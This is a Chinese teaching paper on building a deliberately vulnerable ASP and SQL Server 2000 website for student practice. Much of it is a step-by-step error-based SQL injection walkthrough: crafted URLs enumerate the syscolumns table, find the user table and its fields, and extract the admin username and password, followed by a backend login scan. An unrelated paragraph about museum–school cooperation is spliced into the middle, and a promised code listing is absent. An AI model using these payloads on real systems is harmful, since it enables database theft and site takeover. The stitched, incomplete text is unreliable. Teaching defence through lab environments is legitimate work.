曾煌存
(廣東外語(yǔ)藝術(shù)職業(yè)學(xué)院 廣東 廣州 510640)
SQL注入攻擊是黑客最喜歡使用的攻擊方式之一,其危害極大。為了在高職院校的《網(wǎng)絡(luò)安全與防范》課程中取得較好的教學(xué)效果,必須搭建大量的實(shí)驗(yàn)環(huán)境供學(xué)生演練。
在之前工作經(jīng)驗(yàn)的基礎(chǔ)之上,筆者總結(jié)了開(kāi)展ASP+SQL Server 2000環(huán)境下利用SQL注入攻擊登錄網(wǎng)站后臺(tái)實(shí)驗(yàn)環(huán)境搭建及使用的研究,希望能對(duì)高職院?!毒W(wǎng)絡(luò)安全與防范》課程中SQL注入攻擊與防范的教學(xué)起到一定的促進(jìn)作用。
在之前的工作中,已經(jīng)基于ASP+SQL Server 2000搭建了一個(gè)具有SQL注入漏洞的動(dòng)態(tài)網(wǎng)站Testweb,并且演示了使用SQL注入攻擊,添加目標(biāo)計(jì)算機(jī)系統(tǒng)的管理員賬戶(hù)、開(kāi)啟遠(yuǎn)程終端連接,并且用攻擊機(jī)遠(yuǎn)程登錄到目標(biāo)計(jì)算機(jī)等操作。
本文擴(kuò)展了動(dòng)態(tài)網(wǎng)站Testweb,使其有用于網(wǎng)站后臺(tái)登錄的頁(yè)面,然后我們將展示使用SQL注入攻擊獲得網(wǎng)站后臺(tái)賬戶(hù)、口令,并且登錄進(jìn)入后臺(tái)的操作。
如之前的工作一樣,使用VMware WorkStatition虛擬機(jī)軟件安裝了兩臺(tái)虛擬機(jī),一臺(tái)虛擬機(jī)安裝的是Windows Server 2003操作系統(tǒng),用于模擬被攻擊的服務(wù)器,IP地址為192.168.248.132;另一臺(tái)虛擬機(jī)安裝的是Windows XP操作系統(tǒng),用于模擬黑客使用的攻擊機(jī),IP地址為192.168.248.133。
在Windows Server 2003虛擬機(jī)上,擴(kuò)展了之前搭建的使用ASP+SQL Server 2000開(kāi)發(fā)的簡(jiǎn)單的動(dòng)態(tài)網(wǎng)站Testweb。該動(dòng)態(tài)網(wǎng)站訪問(wèn)名為T(mén)estweb的數(shù)據(jù)庫(kù),該數(shù)據(jù)庫(kù)原來(lái)只包含一個(gè)表:tblNews。我們擴(kuò)展了該數(shù)據(jù)庫(kù),使其包含另一個(gè)表:tblUser,該表用于存儲(chǔ)登錄后臺(tái)的賬戶(hù)和密碼。tblUser的具體結(jié)構(gòu)如表1所示。
表1 tblUser具體結(jié)構(gòu)表
該網(wǎng)站原來(lái)包括以下三個(gè)頁(yè)面:conn.asp、news.asp、displayNews.asp。其中conn.asp用于保存與 SQL Server 2000數(shù)據(jù)庫(kù)服務(wù)器的連接信息;news.asp用于讀取數(shù)據(jù)庫(kù)中的新聞?dòng)涗?,顯示所有新聞的標(biāo)題,并且將這些標(biāo)題以超級(jí)鏈接的形式顯示。當(dāng)單擊某個(gè)新聞的標(biāo)題后,即可以進(jìn)入形如displayNews.asp?id=xxx的頁(yè)面,看到新聞的具體內(nèi)容(其中“xxx”表示某條新聞在tblNews表中ID字段的值)。
新增以下三個(gè)頁(yè)面:login.asp、processLogin.asp和main.asp。login.asp是網(wǎng)站后臺(tái)員登錄的頁(yè)面;processLogin.asp用于處理網(wǎng)站后臺(tái)的登錄,若用戶(hù)通過(guò)驗(yàn)證,則跳轉(zhuǎn)到main.asp,否則跳轉(zhuǎn)回login.asp;main.asp用于模擬管理員登錄后臺(tái)后進(jìn)入的頁(yè)面。與之前一樣,設(shè)置該網(wǎng)站的默認(rèn)頁(yè)面為news.asp。
main.asp的代碼如下所示:
Welcome
從新增的三個(gè)頁(yè)面的具體代碼可以看出,新增的頁(yè)面也具有簡(jiǎn)單,易于理解、分析和掌握的優(yōu)點(diǎn)。
同時(shí),頁(yè)面displayNews.asp有SQL注入漏洞,可以滿足進(jìn)行SQL注入攻擊的實(shí)訓(xùn)需要,其具有SQL注入漏洞的具體語(yǔ)句為:
目前,國(guó)內(nèi)博物館的“館校合作”正處于積極、全面地開(kāi)展階段。但與國(guó)外發(fā)達(dá)國(guó)家博物館的“館校合作”教育相比,還有相當(dāng)大的差距。國(guó)內(nèi)大部分地區(qū)的博物館,目前的普遍做法只是允許學(xué)生參觀部分展覽,其本質(zhì)重“展”而不重“教”[3]。
strSql="select*from tblNews where ID="&newsID
該語(yǔ)句根據(jù)某條新聞的ID查詢(xún)tblNews表的內(nèi)容,可以在形如displayNews.asp?id=xxx的地址后面加入精心構(gòu)造的語(yǔ)句,從而執(zhí)行特定的SQL語(yǔ)句,查詢(xún)信息、執(zhí)行命令、進(jìn)而控制服務(wù)器。
如上開(kāi)發(fā)的動(dòng)態(tài)網(wǎng)站Testweb具有SQL注入漏洞,下面我們通過(guò)破解網(wǎng)站后臺(tái)賬戶(hù)、口令的入侵步驟來(lái)展示該SQL注入攻擊實(shí)驗(yàn)環(huán)境的使用。
訪問(wèn)Testweb網(wǎng)站,判斷其是否具有SQL注入漏洞。
在SQL Server 2000中,當(dāng)前數(shù)據(jù)庫(kù)的syscolumn表中有以下兩個(gè)字段:name和id。其中name是當(dāng)前數(shù)據(jù)庫(kù)中所有表中含有的字段的名稱(chēng),id是該字段所屬表的編號(hào)。通過(guò)查詢(xún)syscolumns表,我們就可以得到含有字符串pass的字段名以及該字段所屬表格的編號(hào)。再使用SQL Server中的object_name(id)函數(shù)就可以得到字段所屬表格的名稱(chēng)。
在 地 址 欄 輸 入 :http://192.168.248.132/testweb/displayNews.asp?id=1 and (select top 1 t_name%2b’|’%2bc_name from (select top 1 object_name(id)as t_name,name as c_name from syscolumns where charIndex(‘pass’,name)>0 and left(name,1)!=’@’order by t_name)as T order by t_name desc)>0 (1)
返回的提示信息包含:將 nvarchar值 'sysusers|password'轉(zhuǎn)換為數(shù)據(jù)類(lèi)型為 int的列時(shí)發(fā)生語(yǔ)法錯(cuò)誤。從返回信息中,我們可以知道當(dāng)前數(shù)據(jù)庫(kù)中有一個(gè)sysusers表,該表含有password字段。
將(1)中的子查詢(xún)“select top 1 object_name(id)as t_name,name…. ”中的 1 依次修改為 2,3,……,即可得到所有含有“pass”的字段名以及該字段所屬表的的表名信息。 如將 “select top 1 object_name(id)as t_name,name….”改成“select top 2 object_name(id)as t_name,name….”后,得到的提示信息包含:將nvarchar值 'tblUser|password'轉(zhuǎn)換為數(shù)據(jù)類(lèi)型為 int的列時(shí)發(fā)生語(yǔ)法錯(cuò)誤。從該提示信息,可以知道當(dāng)前數(shù)據(jù)庫(kù)中有個(gè)tblUser表,該表有password字段。
(1)比較復(fù)雜。 首先看(1)的子查詢(xún)中的:select top 1 object_name (id)as t_name,name as c_name from syscolumns where charIndex (‘pass’,name)>0 and left(name,1)!=’@’ order by t_name (2)
(2)的原理是:在syscolumns表中篩選出字段名中包含字符串“pass”,并且字段名不以字符“@”起始的記錄,然后得到這些記錄的字段名和該字段所屬的表的表名(通過(guò)object_name(id)函數(shù)從表的id得到表的名稱(chēng)),再將這些結(jié)果根據(jù)表名按照升序進(jìn)行排列,最后篩選出最前面的一條記錄。
(1)的原理是從子查詢(xún)(2)的結(jié)果中根據(jù)表名降序篩選出最前面的一條記錄,并將表名和字段名用“|”連接起來(lái),得到最終的結(jié)果,最后讓其與整數(shù)0進(jìn)行比較,因?yàn)轭?lèi)型不匹配,將導(dǎo)致SQL Server出錯(cuò),根據(jù)出錯(cuò)信息,即可得到表名和字段名。其中“%2b”是字符串連接運(yùn)算符“+”。
在地址欄輸入:http://192.168.248.132/testweb/disp layNews.asp?id=1 and(select cast(count(*)as varchar(20))%2b’|’ from syscolumns where id=object_id(’tblUser’)>0 (3)
返回的信息包含:將 varchar值 '2|'轉(zhuǎn)換為數(shù)據(jù)類(lèi)型為 int的列時(shí)發(fā)生語(yǔ)法錯(cuò)誤。 從該提示信息可以確定tblUser表共含有2個(gè)字段。
在 地 址 欄 輸 入 :http://192.168.248.132/testweb/displayNews.asp?id=1 and(select top 1 cast(name as nvarchar(200))%2b’|’ from(select top 1 name from syscolumns where id=object_id (’tblUser’)order by id)as T order by id desc)>0 (4)
返回的信息包含:將 nvarchar值 'password|'轉(zhuǎn)換為數(shù)據(jù)類(lèi)型為 int的列時(shí)發(fā)生語(yǔ)法錯(cuò)誤。 從該提示信息,可以知道tblUser有一個(gè)字段為password。將子查詢(xún) “select top 1……”中的1改為2,即可得到tblUser的第2個(gè)字段的名稱(chēng),返回的信息包含:將nvarchar值 'username|'轉(zhuǎn)換為數(shù)據(jù)類(lèi)型為 int的列時(shí)發(fā)生語(yǔ)法錯(cuò)誤。從提示信息,即可以知道tblUser的另一個(gè)字段的名稱(chēng)是username。
在 地 址 欄 輸 入 :http://192.168.248.132/testweb/displayNews.asp?id=1 and(select top 1 username%2b’|’%2bpassword from (select top 1 username,password from tblUser order by username)as T order by username desc)>0
返回的提示信息包含:將 nvarchar值 'testweb|123456'轉(zhuǎn)換為數(shù)據(jù)類(lèi)型為 int的列時(shí)發(fā)生語(yǔ)法錯(cuò)誤。從提示信息,即可以知道其中一個(gè)用戶(hù)名/密碼為:testweb/123456。將子查詢(xún)中的“select top 1 username,password from tblUser…….”中的 1 改為 2,3……即可以得到其他的用戶(hù)名/密碼。
使用“多線程后臺(tái)掃描器”掃描得到該網(wǎng)站的后臺(tái)地址為:http://192.168.248.132/testweb/login.asp
在該網(wǎng)頁(yè)中用戶(hù)名框輸入“testweb”,密碼框輸入“123456”即可成功登錄后臺(tái)。
與DVBBS等整站程序相比,我們搭建的實(shí)驗(yàn)環(huán)境具有簡(jiǎn)單、方便學(xué)生理解、分析和掌握的優(yōu)點(diǎn)。同時(shí),我們的實(shí)驗(yàn)環(huán)境設(shè)有SQL注入漏洞,能夠讓學(xué)生方便地演練在ASP+SQL Server 2000環(huán)境下猜解數(shù)據(jù)表的名稱(chēng)、猜解字段的數(shù)目、字段的名稱(chēng)、字段的內(nèi)容、掃描網(wǎng)站后臺(tái)等操作。這對(duì)提高學(xué)生的學(xué)習(xí)興趣,掌握SQL注入攻擊的原理和具體的實(shí)施步驟很有好處。
[1]肖遙.大中型網(wǎng)絡(luò)入侵要案直擊與防御[M].北京:電子工業(yè)出版社,2011.
[2]朱錫華,劉月鏵,侯偉.暗戰(zhàn)亮劍——黑客滲透與防御全程實(shí)錄[M].北京:人民郵電出版社,2010.
[3]武新華,等.矛與盾——黑客攻防與腳本編程[M].北京:機(jī)械工業(yè)出版社,2010.